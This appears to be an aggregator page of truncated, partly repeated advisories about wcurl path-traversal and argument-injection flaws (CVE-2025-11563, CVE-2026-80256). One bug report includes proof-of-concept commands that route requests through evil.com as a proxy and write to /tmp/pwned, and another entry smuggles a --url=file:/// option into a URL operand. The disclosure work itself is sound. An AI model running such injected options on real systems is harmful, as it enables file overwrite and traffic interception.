CVE-2026-80256

wcurl backslash bypass: a flaw in how wcurl handles backslashes makes it possible to create a new attacker-controlled file outside the directory chosen by the user, because percent-encoded backslashes are decoded in the output file name. Windows only. Affects wcurl shipped with curl 8.14.0 throug...

curl: CVE-2026-80256: wcurl backslash bypass

A vulnerability was discovered in the wcurl script of the curl project. The vulnerability allowed an attacker-controlled URL to create a new file outside the directory chosen by a Windows user, subject to the user's filesystem permissions and the target not already existing. The vulnerability was...

JLSEC-2026-425 URLs containing percent-encoded slashes (`/` or `\ `) can trick wcurl into saving the output file...

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

curl: wcurl treats some URL operands after -- as curl options

I found that wcurl does not always keep operands after -- in a pure URL-data context. The documented way to pass curl options through wcurl is --curl-options, but a value supplied as a URL operand can still reach the final curl command as an option, for example wcurl -- "--url=file:///...". A...

wcurl Path Traversal

The vulnerability of the wcurl command-line utility is related to an incorrect limitation on the path name to the restricted-access directory. Exploiting this vulnerability could allow a malicious actor to gain unauthorized access to protected information...

ROS-20260310-73-0006

Vulnerability in wcurl related to incorrect path name restriction to a restricted directory. Exploitation of the vulnerability may allow a remote attacker to gain unauthorized access to protected information...

CVE-2025-11563

A flaw was found in wcurl. This vulnerability allows a remote attacker to manipulate the location where output files are saved. By crafting a malicious URL with percent-encoded slashes, the attacker can trick the wcurl command-line tool into writing files outside of the intended directory. This...

CVE-2025-11563

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

UBUNTU-CVE-2025-11563

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563 wcurl path traversal with percent-encoded slashes

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563

URLs containing percent-encoded slashes "/" or "" can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563

The wcurl command line tool is vulnerable to a path traversal flaw when processing URLs containing percent-encoded slashes (/ or \). The root cause is located in the get_url_filename() function, which fails to properly restrict literal backslashes, allowing an attacker-controlled URL to trick the...

CVE-2025-11563 wcurl path traversal with percent-encoded slashes

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563 wcurl path traversal with percent-encoded slashes

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

CVE-2025-11563: Improper Limitation of a Pathname to a Restricted Directory

URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly asking for it. This flaw only affects the wcurl command line tool...

PT-2026-28929

Уязвимость утилиты командной строки wcurl связана с неверным ограничением имени пути к каталогу с ограниченным доступом. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, получить несанкционированный доступ к защищаемой информации...

curl: wcurl Argument Injection via Unquoted Variable

when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl affected version:current step 1: open terminal step 2:run pocs below wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt wcurl --dry-run --curl-options='-o...

Amazon Linux 2023 : curl, curl-minimal, libcurl (ALAS2023-2025-1317)

It is, therefore, affected by a vulnerability as referenced in the ALAS2023-2025-1317 advisory. wcurl path traversal with percent-encoded slashes URLs containing percent-encoded slashes / or \ can trick wcurl into saving the output file outside of the current directory without the user explicitly...